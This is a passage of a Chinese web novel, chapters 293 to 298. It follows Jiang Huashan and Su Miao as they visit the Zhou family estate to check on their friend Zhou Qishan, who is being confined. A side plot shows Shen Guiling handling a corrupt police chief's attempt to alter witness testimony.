他甚至能平静地反问她,“你怎么知道沈归灵是认输了?你了解他?” 姜花衫瞬间想到那反复横跳的心动值,灵光一闪,悄悄打开手机界面,找到为数不多的几个顶置界面,点击语音。 “嗯……”她清了清嗓子,掷地有声,“我当然了解,萧澜兰的记者会只有阿灵哥惦记着为我们女生发声,像他这么温柔善良的人根本不在意这世俗的名和利,他跟你们所有人都不一样!!!” 发送。 沈兰晞脸色渐渐冷了下来。 这会儿是真的有些生气了。 当他眼瞎?竟然敢明目张胆利用他去巴结沈龟灵? 虽然沈兰晞也猜到了姜花衫必有所图谋,但他还是觉得可笑。 沈归灵有的他都有,沈归灵没有的他也有,明明平时那么机灵的一个人,怎么偏偏到他这就装做舍近求远的蠢事? 姜花衫哪里沈兰晞在想什么?但见沈兰晞眼里的平静终于被搅乱,她一颗悬着的心也终于落回了原处。 吓死了,还以为拿捏大傻的套路不灵了。 姜花衫一脸悠哉,假装若无其事拿起手机。 界面还停留在之前的对话框,抬头显示对方正在输入。 姜花衫整个人都燃起来了,拳头攥紧。 【叮——】 来了! 【警告!宝藏剧情心动篇之《拯救小可怜》触底大反弹,完成度下降百分之十】 “……” 呵~ 姜花衫风轻云淡扔掉手机,摸了摸头发,正巧一辆骚包的黑红极光从眼前呼啸而过,她立马借题发挥,冲着高止凶巴巴吼道,“你会不会开车?路过的狗都比你跑的快!磨磨蹭蹭,到学校天都黑了!” 高止神情悲愤,敢怒不敢言,默默盯着后视镜里的沈兰晞。 -少爷,她凶我。 沈兰晞弯腰捡起地上的手机,淡淡道,“刚刚超车的是周宴珩。” 姜花衫,“……” * 南湾市。 温柔善解人意的沈归灵刚点开信息,办公室的门砰的一声被人撞开了。 “姚局长,你现在不能进去……” “滚开。” 话音刚落,姚勇伟带着几个心腹直接闯了进来。 莫然小跑跟在后面,一脸歉意,“阿灵少爷,抱歉,我已经跟姚局长说了您有个重要会议,可……” 沈归灵扫了男人一眼,笑着安抚,“没事。给几位客人备茶。” 姚勇伟本来就是故意挑衅沈归灵,想试探他的底线,见他这么好说话,腰杆子瞬间挺的笔直,转头入座茶台的主位,一副老资历的模样,“阿灵少爷贵人事忙,打扰了。” 沈归灵好脾气,“姚局长说笑了。” 姚勇伟没功夫跟个小屁孩打太极,直言道,“沈少爷想必已经知道我为何而来了?” 沈归灵的眼睛一直盯着手机,情绪稳定,“不知道。” 姚勇伟当即收起脸上的假笑,朝心腹使了个眼色,其中一人上前关门。 莫然眼观鼻鼻观心,半蹲在茶台前泡茶。 姚勇伟神情倨傲,“这里没有外人,我就明说了,昨晚的事我已经问清楚了,都是那些混混惹事,阿江不过是自卫。这也不是什么大事,都是自己人,还请阿灵少爷你签个字,我好把人领回去。” 沈归灵不解,抬头看向莫然。 莫然立马接过话,“少爷,昨晚的事,姚局长的儿子也在其中。” 昨夜南湾发生了一起性质恶劣的社会斗殴事件,起因是一群有钱少爷恶意骚扰当时正在舞台表演的女歌手,几次被拒绝,恶少们恼羞成怒直接把女歌手拖进了包房,女歌手的同伴纷纷被激怒,砸门救人跟恶少们起了冲突。 一开始,乐队人多占了上风,恶少们哪咽得下这口气,直接找来酒吧打手,把十二个年轻人蹉跎得不成人样。要不是沈归灵正好路过,那些人可能连命都保不住了。 沈归灵恍然,“那里面有四五个凶徒,不知姚局长家的公子是哪位?” 姚勇伟不满沈归灵的态度,不耐烦道:“这种小事不劳您挂心,我刚刚已经说了,这件事的过错方不是阿江他们,所以麻烦少爷你抽空修改一下目击证词。” 莫然看了姚勇伟一眼,默不作声给他添了一杯茶。 沈归灵心不在焉,按下绿色按钮。 “我当然了解,萧澜兰的记者会只有阿灵哥惦记着为女性发声,像他这么温柔善良的人根本不在意这世俗的名和利,他跟你们所有人都不一样!!!” “……” 姚勇伟见沈归灵竟然当着他的面听电话,啪的一声拍案而起。 “要说的我都已经说了,至于要怎么做,相信少爷自有主张。”说罢,抬手打翻了茶,气势十足出了办公室。 身边的心腹小步跟上前,回头看着办公室的方向,“老大,这小少爷会不会是故意的?” 哪这么巧?偏偏出这档子就被他撞了个正着? 姚勇伟呸了一声,“早料着这小子不会善罢甘休,他以为用阿江要挟,我就会怕了?这里是南湾,不是鲸港,他就算是条真龙到了这也得给老子爬着,何况一个上不了台面的野种。” 心腹还是有些担心,“老大,你说沈归灵知不知道柏林街的火就是我们放的?当初他不顾劝阻冲进火场,眼睁睁看见那女人被活活烧死,他万一要报仇……” “怕什么?这件事早就结案了,证据也被那场大火销毁了,他就算怀疑也只能哑巴吃黄连。等沈先生去了鲸港,老子就是这里的天,他一个乳臭未干的野小子,能奈我何?” * 屋内。 莫然低着头认真清理茶具。 沈归灵又听了一遍语音。 片刻后,他放下手机,翻转屏幕,“莫然。” “是。”莫然站起身。 沈归灵,“我这里有一份证词,你让人马上送到南湾警署,告诉他们,这也是先生的意思。” “好的。”莫然点头,接过证词。 她正要转身,沈归灵忽然想到什么,再度开口,“姚局今天来一趟倒是提醒了我,既然姚江也在受审之列,南湾警署总要避避嫌,通知警署那边,把人先收进羁押所,给他挑个好房间,务必好好关照。” 莫然回头看向少年,但他眼皮都没抬,埋头陷进了一堆文书之中。 …… 第293章 最无辜的炮灰 为防止姜花衫鸡蛋里挑骨头,高止最终还是赶在上课铃响之前安全抵达。 天气阴冷,教室的暖气倒是很足,姜花衫脱了两件大衣,换上薄款针织衫,一入座就开始琢磨。 到底是哪里出了问题? 就算沈归灵知道那段语音是她故意发错的,起码说明她在刻意拉近关系,怎么也不至于一下掉十个点吧? 她到底踩了什么雷? “早…” 苏妙像只被吸干精血的幽灵,有气无力飘进了教室,路过姜花衫的课桌时轻轻撞了撞她的桌子。 “我想通了,我还是不挣扎了,乖乖等着你告发我算了。” 姜花衫的思绪一下被打乱,一整个无语,“你昨晚做贼去了,脸色怎么这么差?” 苏妙发出瘆人的苦笑,能不差吗? 就因为被姜花衫强灌了一碗毒鸡汤,她昨天回到苏家后突然正义感爆棚,不夸张的说,她起码策划了三十场坦白从宽的戏码,可每次都是临门一脚又憋了回去,她就这样一直游走在说与不说的高度对抗中,等反应过来时已经心力交瘁神经分裂了。 姜花衫摆摆手,“谁让你勉强自己的,都说了,爱干嘛干嘛。” 苏妙头疼,捂着脑袋回到座位。 没一会儿,教室外响起高调的说笑声,傅潇潇和她的一群狗腿笑嘻嘻走进教室,她们每人手里都拿着一张邀请函,眼神好不得意。 “潇潇,你的邀请函跟我们都不一样,好像是特邀函。” “那当然了,不管是我们潇潇的实力还是跟阿珩哥的关系,肯定是特邀函无疑了。” “潇潇,听说上一届只有男生才有特邀函。” 傅潇潇咧到耳后根的嘴角在看见姜花衫的瞬间,裂开了。 这个贱人,竟然敢众人打她,这件事她绝不会善罢甘休。 狗腿们见状,吓的高度戒备起来,这种感觉就像一头傻猪带着一群傻猪给屠宰场的屠夫喂刀。 傅潇潇本来想上前挑衅,但又怕姜花衫突然发癫,几番权衡径直走向苏妙。 “喂?马上要上课了,周绮珊怎么还没来?” 苏妙半点不给面子,“关你P事?” “嗯?”姜花衫回头看向苏妙。 苏妙没好气,“没叫你。” “哦。”姜花衫懒洋洋应了一声,继续对着手机发呆。 “……”傅潇潇感受到了莫大的羞辱,不怀好意撞了撞苏妙的桌子,“看样子你还不知道?周绮珊伤风败俗,这段时间都不会来学校了。” 苏妙皱眉,“不造谣你会死吗?” “……”没得到预期的反应,傅潇潇彻底破防,“你少在这假惺惺,周绮珊对你掏心掏肺,你却连她发生了什么都不知道,她还真是可悲,不过……我能理解你,毕竟我也觉得她恶心。” 苏妙站起身,“傅潇潇,你又想挨揍了是不是?” “就凭你?”傅潇潇冷哼了一声,扭头回到自己的座位。 苏妙看着身边的空位,犹豫了片刻,拿起手机跑出了教室。 姜花衫回头看向傅潇潇。 上一世,周绮珊的确半个月都没有来学校,就在众人以为她出了什么变故时,她穿着女装出席了苏妙的生日会。 但与玛丽苏情节不同,周绮珊的女装不仅没有惊艳于众人,反而让她沦为了大家的笑柄。 傅潇潇带头嘲笑她,说她是张飞穿裙子,李逵描口红,甚至当众质问周绮珊,是不是因为一直没有来月经才把自己扮成男人? 周绮珊不想破坏苏妙的生日会,全程都在隐忍,默默承受着一切。 为什么她会知道? 因为当时她就是傅潇潇身边的狗腿之一,她虽然没有开口,但沉默的就是纵容,所以她也算是那场霸凌的参与者,以至于现在回想起来,她依然觉得有愧于周绮珊。 她们这几个炮灰,不管是傅绥尔还是沈眠枝、苏妙,亦或是她自己,都的的确确做出过错误的选择,也伤害过别人,唯独周绮珊。 她为了让自己穿衣独立可以半个月不来学校,但最后却还是为了赴好友一场生日宴选择了低头。 生死关头,她依然选择信任朋友,但最终却被伤得体无完肤,下场凄凉。 她只活了十八岁,从出生就在抗争,但到死都在妥协。 * 教室外,苏妙一直在给周绮珊打电话,但对方一直都是忙音。 苏妙失去耐心,正准备回教室拿书包,忽然听见转角有人在争执。 “喂。苏韵,你别给脸不要脸,再问你一句,这邀请函你是接还是不接?” …… 第294章 周家之势 苏妙挂了电话,转头往转角走去。 只见一个其貌不扬的女生被一群高年级围在中心,那些人苏妙也认识,喜欢跟在周宴珩屁股后面求存在感的后援会。 为首的女生手里拿着邀请函,有一下没一下抽打着苏韵的脸,苏韵偏头想躲,女生变本加厉,一巴掌打掉了苏韵的黑框眼睛。 “啧啧啧,我瞧瞧~的确是有点姿色,难怪连关少爷都惦记。” 女生像打量商品一样细细审视苏韵的脸。 “我劝你最好别不识抬举,这邀请函可不是随便什么人都有的,机灵点,把阿鹤哥哄开心了你也有好处不是?” “既然这么好,你怎么不自己上啊?” 没等女生反应过来,人就被推了出去。 苏妙已经完全不记得眼前的女孩曾经撞过自己,捡起地上的眼镜递给她。 苏韵怔愣,低着头接过眼镜。 被推的女生原本还想还手,但在看清苏妙那张脸后立马偃旗息鼓。 苏妙知道她们这群人的德行,摆摆手,“快滚吧。” 女生们的态度一百八十度大转弯,“苏小姐,您也别为难我们啊,这是关少爷的意思。” 苏妙一把抢过女生手里的邀请函,“行了,我替她收了,阿鹤哥要追究叫他来找我。” 女生们见状也不好再说什么,冷冷扫了苏韵一眼,转头上楼。 苏妙将手里的邀请函揉成一团扔进垃圾桶,“你要不想跟那群人有关系就机灵的,这里是英才区,你一个德才的跑进来跟羊入虎口有什么区别?” 随意叮嘱了两句,苏妙转身步入走廊。 苏韵一直没有说话,直到苏妙的背影彻底消失,她才忽然失去所有支撑的力气,背脊抵着墙壁缓缓下坠。 * 放学铃响,姜花衫收拾书包准备去医院,傅绥尔好了两天又开始用嫡长闺的身份威胁。 刚走到门口,苏妙一个箭步上前,拽着她的肩带连人带包拖回了教室。 “你干嘛?”姜花衫回头一个爆栗,“想死啊!” “嘶!”苏妙捂着额头,疼得眼泪直流,“你怎么这么野蛮?!” 姜花衫斜睨她,“有事说事。” 苏妙有求于人,只好忍着脾气,“珊珊的电话打不通,我有些担心她。” 姜花衫,“所以呢?” “所以,我想去周家看看她。” 姜花衫提了提书包,“这种事不用跟我报备。”说完转身就走。 “诶诶!” 苏妙一把抱住姜花衫的胳膊,“我想要你跟我一起去。” 姜花衫挑眉,“你这是讹上瘾了?” 苏妙神情有些不自然,她也说不上什么原因,从这几次跟姜花衫接触后,她就莫名对姜花衫有了信任感。 不管发生什么事,只要姜花衫在,她都觉得特别有安全感。 “我知道规矩。”苏妙赶紧拿出手机,二话不说转了十万。 姜花衫略有些不满意,“怎么越转少了?” 苏妙有些心虚,她现在可不比以前,不知道什么时候就变穷光蛋了,可不得一块硬币掰成两半用? “算了,你也算老顾客了,就当打个折吧。” 苏妙一听,立马来了精神,“那,办卡有优惠吗?” 竟然比她还会蹬鼻子上脸?姜花衫双手抱胸,“你哪来这么多事?说吧,为什么非得要我一起去?” 苏妙,“姗姗不会无缘无故不接电话的,肯定是出了什么事儿。但周家规矩多,我一个人去今天未必能见着,就算见着了肯定也问不出什么?所以我想你跟我一起去。” 姜花衫不解,“你去了见不着,难不成我去就有用?” 苏妙点头,“我相信你。” 姜花衫被这莫名的崇拜搞的有些不适,“你相信我?你为什么相信我?” 苏妙一脸严肃,“因为你会发癫。” 姜花衫,“……” * 不管是为了十万块,还是为了弥补当年的愧疚,姜花衫都觉得这一趟周家之旅很有必要。 于是,她先给傅绥尔发了张请假条,然后又给沈兰晞发了张通知单,随后跟苏妙坐上苏家的车一起出发湖畔庄园。 周家老爷子喜好老庄之道,园林依湖而建,山清水秀四季如画。 庄园从里到外一共三扇大门,第一道是高耸的黑色铁门,矗立在两排百年银杏大道之间。 这里是A国旅游打卡圣地,天气好的时候常常会看见导游们举着国旗在铁门前介绍。 进入铁门便正式进入了周家的私人领域,所有外来车辆一律止步于此。 苏家的车刚停好,负责接送的车就已经开到了姜花衫和苏妙面前,周家管事面带微笑走下车。 周绮珊和苏妙关系亲密两家人都知道,所以不足为奇,但姜花衫却算是稀客。 “两位小姐请。”见车里多下来了一个人,周管家不由多看了姜花衫一眼。 苏妙拉了拉姜花衫的胳膊,小声道,“所以我才不爱来周家,规矩多,麻烦死了。” 第二道大门恢弘如王城入口,城墙沿着湖畔而立,气势磅礴。 姜花衫唏嘘摇头,难怪上一世周宴珩那傻逼总强调她的身份配不上他,原来周家人在鲸港建了座城把自己当皇帝对待。 入了白门,车辆再次止步,映入眼帘的是一步一景的春景庭院。 眼下已经入冬,若是要靠人力留住春天,这其中要花费的人力物力不可想象。 不等姜花衫感慨完,又被告知要换上特定的观光车。 三道门连换三次交通工具? 姜花衫摸了摸下巴,“难怪周绮珊不来学校,这么折腾要想准时到校不得凌晨四点起来?依我看,这学不上也罢。” 周家管事愣了愣,这位沈家小姐的性子倒与其他人有些不同,这话细听全是讽刺。 可那些初来周家的客人见此情景哪个不是膜拜赞叹,偏她多了一份不屑一顾。 管家只得解释,“少爷、小姐若要出行,从东门直出即可。” “原来如此。”姜花笑了笑。 这周家还真是有意思,男尊女卑,嫡贵庶贱,主高客低,连消带打算是被他们玩明白了。 …… 第295章 我们是朋友 周管家领着两人进了偏厅。 厅里,周太太正在跟几个好友打麻将,见两人进来,连忙招呼阿姨看牌,自己起身款待。 “妙妙,怎么来也不提前说一声?”周太太好奇打量姜花衫,“要没认错,你应该是沈家的千金,好像也叫衫衫?” 周太太见过姜花衫,三年前沈家夜宴,姜花衫那支开场舞给她留下了深刻的印象。 “周阿姨好,我叫姜花衫。” 周太太眼里略有些惊艳,三年前还觉得这孩子稚嫩,没想到一下就长开了。 “乖。”周太太热情招呼两人入座,阿姨们忙前忙后倒茶端果盘。 苏妙往楼上看了一眼,“周阿姨,阿珊呢?今天学校有课题报告,我给她带过来了。” 周太太哪会不知道这些小丫头的心思,拍了拍苏妙的手,“有心了。” 说罢转头看向身旁的阿姨,“小姐呢?早十分钟不是让你们去请人了吗?” 阿姨有些为难,低头凑近周太太,小声道,“三太太不让小姐见客,还说小姐就是因为结识了不三不四的朋友才变得这么不听话的。” 周太太脸色微变,这不是胡闹吗? 苏妙盯着两人,“周阿姨,怎么了?” 周太太缓和了脸色,“珊珊昨晚受了凉,这会儿有些不舒服。你们的好意姗姗已经知道了,等过几天她病好了你们小姐妹再聚吧?” “这样啊~” 苏妙假装喝水,转眸瞥向姜花衫。 姜花衫起身,没好气,“看我做什么?走吧,人家不见难不成你还上赶子热脸贴冷屁股?” 苏妙一口水噗了出来,傻傻看着姜花衫。 周太太愣了愣,没料到姜花衫反应这么大,“怎么了这是?” 姜花衫,“周阿姨你也不必替周绮珊打掩护,她不想见我我还不乐意见她,麻烦您替我们转告她一声,既然登门致歉她不接受,那以后大家就各走各路,不再是朋友。” 周太太一脸懵逼,怎么就不是朋友了? 苏妙两眼膜拜,厉害啊,零帧起手,这十万块没白花。 姜花衫踢了踢她的小腿,“愣着做什么?走不走?” “走走走!”苏妙义愤填膺,“我回去就告诉我爷爷周绮珊看不起我,周家看不起我们苏家。” “谁说周家看不起苏家啊?” 周国潮拄着手杖,从二楼慢步走了下来。 周太太赶紧上前搀扶,“爸。” 摸牌的太太们立马站了起来,恭恭敬敬打招呼,“老爷子。” 周国潮颔首,目光在姜花衫和苏妙之间逡巡了一圈,最后定格在姜花衫脸上,“你就是沈庄的眼珠子?你爷爷为了给你出气一通电话把我周家三代都威胁进去了。” 苏妙看了姜花衫一眼,笑着招呼,“周爷爷好。” 姜花衫微微颔首,“周爷爷。” 周国潮由者周太太搀扶入座,“刚刚闹什么?” 周太太看了两人一眼,正欲说话,姜花衫直接打断,“周爷爷,我们想见周绮珊。” 周国潮略带微笑看着姜花衫,“刚刚不是还说以后都不再是朋友了吗?” 姜花衫对上周国潮的目光,毫不怯场,“周爷爷应该知道那些都是气话。想见她才是目的。” 周国潮滴水不漏,“方才不是告诉你们了,姗姗受了凉,过几天就能看见了?” “周爷爷在这戏耍小孩了?”姜花衫根本不管周国潮说了什么,直接反呛,“没听说过谁受了凉连电话都不接的,可奇怪的是我们都找上门了,你们还是推诿着不让见,实在很难不让人起疑。” 瞬间,整个大厅陷入诡异的安静。 周太太一脸诧异看着姜花衫,在周家除了周宴珩,没有人敢这么跟周国潮说话,就连周元正也不敢。 苏妙默默看了姜花衫一眼,犹豫片刻跟着开口,“她说的没错。” 周国潮脸色不显,“起疑什么?” 姜花衫,“起疑你们软禁、虐待周绮珊。” “!”周太太是个传统的女人,姜花衫的离经叛道让她瞠目结舌,她连忙转头看向周国潮,“爸,她们……” 周国潮抬手打断,漫不经心,“就算是这样,你们又能怎么样?她是我周家的孩子,自有我们周家管教。” 苏妙皱眉,一下怒火就烧起来了。 “你凭什么……这么说!!你知道姗姗平时……她很尊敬你这个爷爷的……她每天都很努力……她……” 死嘴,你倒是说啊。 苏妙差点被自己气死,每次只要她一激动嘴就跟不上脑。 “……”姜花衫看不下去了,捂着她的嘴,“不怎么样!我们回去就跟法院起诉你们周家虐待未成年,反正不管怎么样,我们都会把周绮珊救出来。” “嗯嗯。”苏妙点头,扒下姜花衫的手,“我也是。” 周国潮眼里多几分意味不明,“你们要救她,甚至不惜抗衡周家?” 姜花衫,“我们是她的朋友,跟周家又没有关系,当然是帮她了。” 周太太悬着的心慢慢落回了原处,轻叹了一声,“爸,我去叫姗姗?” 周国潮摆摆手,“行了,没听见人家说什么吗?来见朋友的,跟周家哪有关系,让老三媳妇消停消停,你直接领她们去姗姗屋里。” 周太太略有一丝意外,却又很快遮掩过去,笑着朝姜花衫和苏妙招手,“来吧。” 目的达到,苏妙偷偷给姜花衫竖起大拇指,姜花衫没好气拍下她的手,目光好奇回看周国潮。 上一世,周绮珊出事后,周国潮立马发动了对苏家的报复,当时上层圈的人都在说周国潮决策失误,唯有爷爷感叹了一句,“这不是决策,是爱。” 她不信周国潮,但她信爷爷。 事实证明,爷爷当时果然没有说错,周国潮为数不多的真心里,周绮珊有一席之地,而且比重很大,否则他今天不会跟她们说这么多。 * 百年银杏大道。 一辆黑红幻影从车道疾驰,黑色大门缓缓打开,车身如猛兽飞扑,180度旋转稳稳落停。 没一会儿,周宴珩从车里走了下来,周管家立马小跑上前,“少爷。” 周宴珩随意瞥了车棚一眼,“家里有客人?” 他一眼认出了苏家的车。 管家点头跟上,“是,苏小姐和沈家的姜小姐来看望姗姗小姐。” 周宴珩脚步一顿,回头看向管家,“沈家的姜小姐?” …… 第296章 你一定要抗争到底 周绮珊的房间在庄园附楼,周太太领着两人从主楼出来后,拍着胸口大舒了一口气,“你们两个还真是胆大,差点被你们吓死了。” 苏妙有些心虚,“周阿姨见笑了,我们刚刚也是一时情急口不择言,您可千万别告诉我妈,不然她又要说我没规矩了。” 周太太捂着嘴笑,“放心,阿姨晓得类。” 姜花衫抬眸打量周太太,虽然年逾四十,但看上去很年轻,温婉如春风,越看越有韵味。 周宴珩身上也有这种温柔,但他浮于表象,远不及周太太的十分之一。 难道是好竹出歹笋。 周太太察觉到姜花衫的目光,冲她笑了笑,“你叫姜花衫,哪个衫啊?今年大多了?” 这么友好? 姜花衫不禁有些意外,除了沈娇,其他贵太太在见识过她的伶牙俐齿后,或多或少都会不喜,只是碍于沈家的面子不敢表现出来,但这位周太太不同,她竟然会对她有兴趣? 姜花衫想了想,如实道,“长衫的衫,今年十六岁。” 周太太若有所思,“花衫,既有青衣的正直、又有花旦的娇羞、同时还兼具刀马旦的飒气,果真人如其名。” 姜花衫微愣,“周太太也知道花衫?” 周太太抬眉,故作得意,“看来你没有做功课,我们周家最喜欢看戏,每逢初一、十五都要搭戏台班子,京剧旦角我自然也能如数家珍。” 姜花衫笑了笑,“周太太好厉害。” 周太太蹙眉,眼里带笑,“别太太太太的把我叫老了,叫周姨就好了啦~” 姜花衫点头,“周姨。” 说话间,一行人来到了附楼前,附楼一共三层,共有五个房间,周绮珊的房间在顶层。 周太太领着两人进了电梯,刚到三楼就与徐文佩撞了个正着。 苏妙一眼认出了眼前的女人是周绮珊的妈妈,虽然不喜,但碍于礼节还是老老实实打招呼,“徐阿姨。” 徐文佩刚从房间出来,手里还提着一袋文件,陡然看见一群人出现在面前,脸上的肌肉僵硬地跳了跳,“大嫂,这是……” 她只觉得苏妙眼熟,却一时想不起她是哪家的? 周太太暗暗在心里摇头,连自己女儿最好的朋友都不认识,这是有多不上心? 不过到底是一家人,尽管她不认可徐文佩对待周绮珊的态度,但在外人面前该维护的还是得维护。 周太太笑着打趣,“你呀,一看就是被气糊涂了,苏家丫头都不认识了?” 徐文佩这才想起来眼前的女孩是谁,遮掩着笑了过去,“原来是妙妙,都说女大十八变,阿姨还真一下没认出来。” 苏妙敷衍笑了笑,骗鬼去吧,她这张娃娃脸从小学六年级后一直都是等比例长大。 周太太拍了拍苏妙的肩膀,指着走廊的大门,“去吧,你们聊,我让厨房做了点心,待会儿再给你们送过来。” 徐文佩目光在苏妙和姜花衫之间打量了一圈,最终什么也没说,跟着周太太下了楼。 “走吧。” 苏妙兴冲冲拉着姜花衫准备敲门,姜花衫一把推开她的手,“我就不进去了,你们两个聊。” 周绮珊敏感自卑,她视苏妙为挚友,这个时候苏妙的出现会救赎她,但如果多一个她就未必了。 苏妙愣了一下,立马就明白了姜花衫的用意。 她没有再劝,略带迟疑往四周看了看,“那你呢?” 姜花衫无所谓耸了耸肩,朝她摆摆手,“我随便溜达溜达,实在不行我还可以去偏厅跟她们打麻将。” “噗~”苏妙明知姜花衫这是浑话,却还是被逗笑了。 * 两人分道扬镳。 姜花衫走下楼,正准备找个地方打发时间,就听见徐文佩在跟周太太说话。 “大嫂,你说说,我这是造的什么孽?竟然生出个这么不孝的女儿,这事我都不敢跟她爸爸说,不然依着她爸爸的脾气只怕不好收场。” 徐文佩显然是被周绮珊气的不轻,人还没走远就开始诉苦。 周太太一脸无奈,“你小声点,让人听见像什么话?这事你也不能全怪姗姗,你得好好跟她谈。” 徐文佩眼眶一热,低头哭诉,“我还要怎么谈?这么多年,她就记恨着他爸爸一句酒话一直不肯回家。现在大了,更加管不住了,连这种事她都敢背着家里做,以后还了得?!你说这孩子怎么就不知道体恤父母呢?” 周太太听见徐文佩的哭声就头疼,“行了,这话以后别说了。这事你要拿不定主意就去问问老爷子,去不去得了也不过老爷子一句话的事。” 徐文佩一听也是这个道理,抹了抹眼泪,狠狠将手里的文件袋扔进了附近的垃圾桶。 * “岂有此理!他们怎么可以这么对你!” 苏妙听完周绮珊这几天的遭遇后暴跳如雷,二话不说就准备杀出去替好友要个说法。 可就在她握上门把手的瞬间,脑子突然宕机,一盆凉水从头顶浇下,心都凉麻了。 不行啊,她现在是假千金,万一以后身份揭穿,周家肯定会碾死她的。 苏妙垂头丧气转过身,不敢看周绮珊,“对不起啊阿姗,我不能替你出头了。” 她实在有些鄙弃自己,这个时候竟然还只想着自己。 周绮珊愣了愣,随即笑了出来,“不用对不起,你能来就已经是在为我出头了。” 在此之前,她从没想过苏妙会出现,所以当苏妙敲响房门站在她面前的那刻,她就已经觉得很幸福了。 起码这一刻,她不是一个人。 苏妙看着衣帽间各式各样的女裙,心里万般不是滋味。 “我最近是不是让你很失望?所以你受了委屈对我最大的要求竟然不是我能理解你,帮助你,而是我来过就可以了?” 这样的回答完全出乎周绮珊的意料,见苏妙开始自责,她立马笑着安慰,“这件事不怪你,是我太敏感了,我以为你跟她们一样,觉得我不正常……” “什么正常不正常?”苏妙攥紧拳头,“我这么多年就认识你一个朋友,你当我好玩吗?” 周绮珊眼眶微红,“我知道,但我怕……” “你不能怕!”苏妙直接打断她,“周绮珊,你不能怕!你一定要抗争到底。” 周绮珊眼睑微颤,眸光一动不动看着眼前苏妙。 苏妙咬了咬牙,“学校可以不来,如果你担心课程进度,我每天过来给你送资料。我的生日你也不要来了。” 反正可能也不是我的生日了。 周绮珊看着她,“你要我抗争,所以你站我这边?你不觉得我荒谬?” 苏妙,“我当然不觉得!我觉得很酷!这个世界上有漂亮的女生,就像姜花衫那样,但也有很酷的女生,就像你。他们不让你存在,这才是荒谬。” …… 第297章 她一看就‘心术不正\’ 周太太和徐文佩回到主楼时,周国潮已经回了书房。 前厅的牌局已经散了,阿姨们正在收拾牌局。 冷静下来后,徐文佩也不敢再提请周老爷子主持公道的话,她甚至都有些后悔,刚刚不该一时口快说出了周绮珊的荒唐事。 “大嫂…”徐文佩一番思虑,故作亲昵拉着周太太的手,“刚刚我同你说的那件事……” 周太太拍了拍她的手背,“知道你不容易,放心,老爷子那我不会多嘴,不过,你还是应该好好跟姗姗谈谈,父母太过强势终究会把孩子推远的。” 徐文佩呵呵笑了两声,“大嫂说得是。”她顿了顿,故意岔开话题,“对了大嫂,刚刚那个苏妙就是老爷子属意的苏家千金?” 周太太心知她是听不进去,淡淡回道,“老爷子也就提过一嘴。” 周宴珩是周家长孙,又是周家未来继承人,故而他的另一半周家很早就已经在物色了。 苏妙不过是其中一个选择,圈里几家贵女周家都有留意过,最满意的还是沈家嫡小姐,沈眠枝。 但这种事关乎几家颜面,周太太知道轻重不欲多言。 徐文佩故意试探,“那孩子瞧着有几分机灵劲,不过比咱们阿珩还是差远了。不是我说,鲸港圈就没有哪家姑娘配的上我们阿珩的。” 这种场面话也就听听,周太太笑着周旋,“我看那些小丫头都是好的,倒是我家这个臭小子被宠坏了, 一天天没个正形。” 徐文佩笑的发酸,“嫂子你就别谦虚了,就我们阿珩这样的,哪个姑娘会不喜欢?” 周太太淡淡笑了笑,没有接话。 徐文佩忽然想到什么,“刚刚电梯里不是还有个小丫头,哪家的?” “那孩子啊?”周太太眼里的笑容真挚了几分,“沈家的,你不常在鲸港所以不知道,她是沈家的养女,虽然是……” 周太太话还没说完,徐文佩一听姜花衫养女的身份,一脸鄙夷,“养女?难怪了,小小年纪打扮的花枝招展,一看就是个心术不正的。” “……” 周太太转过眼,端起水杯喝茶。 徐文佩丝毫没有察觉出周太太的不喜,自顾自话,“平时也没听说姗姗有这么一个朋友,今日突然造访别不是存了什么不该有的心思吧?大嫂,你可千万要小心!” 周太太放下水杯,不冷不热,“好好的,我要小心什么?” 徐文佩,“话可不是这么说,现在的小姑娘心思重的很,不防是不行的。” 周太太连敷衍都敷衍不下去了,她实在是想不明白,都是女人,徐文佩到底是怎么做到既不喜欢自己的女儿,又不待见别人的女儿的? 这时,周宴珩突然走了进来,目光环顾了一圈,没见着人转头就走。 周太太正头疼,抬头看见周宴珩的背影,立马招手,“阿珩?” 徐文佩也跟着起身欢迎,“阿珩,你回来了?” 周宴珩见逃不掉,转身步入主厅,微微颔首,“妈,三伯母。” 徐文佩开心露出姨母笑,“新车喜欢吗?开的习惯吗?” 周宴珩端出一副温雅的模样,“挺好的,还没谢谢三伯母。” “哪的话?最重要的是你喜欢。” 周太太,“不是说晚上要跟关鹤他们出去吃饭吗?怎么又回来了?” 周宴珩,“回来拿点东西。” 周太太点头,“行,去吧。开车的时候小心点,不许喝酒。” “知道了。” 周宴珩刚转身,姜花衫和苏妙冷不丁肩并肩走了进来。 他倏尔一愣,进退两难。 苏妙没想到周宴珩也在,点头,“阿珩哥。” 姜花衫目不斜视,直接略过。 周宴珩,“……” 周太太先看了儿子一眼,随即站起身,“就聊完了?” 苏妙点头,“嗯,今天给您添麻烦了。” 周太太摆摆手,“有什么麻烦的?天色还早,吃过饭再走吧?” “不了,家里还有事。我们就先回去了。”苏妙直接婉拒,微微弯腰,“阿姨再见。” 姜花衫稍稍低了低头。 “不吃啦?”周太太有些惋惜,朝阿姨使了个眼色,阿姨立马提着两个精致的礼盒走上前。 “今年也算你们头一回儿上门,这是阿姨给你们准备的一点小礼物,拿着玩。” 大族之间长辈送小辈礼物是常有的事,姜花衫和苏妙已经见怪不怪,十分坦然接过礼物。 “谢谢周姨。” 再次道谢,周太太吩咐管家送客。 等两人走后,周太太收敛了笑意,略带深思看着周宴珩,“不是说要回房拿东西吗?” 周宴珩神情寻常,“我刚刚忽然想起来,那东西关鹤好像也有,不用拿了。” 周太太点头,“那,早去早回?” 周宴珩看了周太太一眼,转身走出大厅。 徐文佩丝毫没察觉这俩母子之间的暗涌,点着门口,“大嫂,你刚刚看见了?我就说沈家那丫头心思深吧?当着我们的面都敢勾搭阿珩!” 周太太端起水杯,神色淡然,“你哪只眼睛看见人家勾搭阿珩了?她压根就没搭理。” 那丫头就差没把嫌弃写脸上了,有趣了!还有人不待见这臭小子! 徐文佩不满,“怎么没有?无缘无故为什么不搭理,不就是想吸引阿珩的注意?” “行了。”周太太捂着额头,“今天累了一天了,我先回屋休息了。” * 周宴珩刚走出主厅,关鹤的电话就打过来了。 “祖宗哥,你人了?” 周宴珩追出主楼时,姜花衫和苏妙已经坐上了观光车,他看着其中一道背影久久没有回话。 电话那边等得有些不耐烦了,“怎么着?干不动了?” 周宴珩扯了扯领带,“滚,信不信老子把你干翻。” …… 第298章 被窃取的人生 京郊某盘山公路。 一群‘鬼火少年’手里拿着烟花,半边身体探出窗外,尖叫欢呼向山顶俯冲。 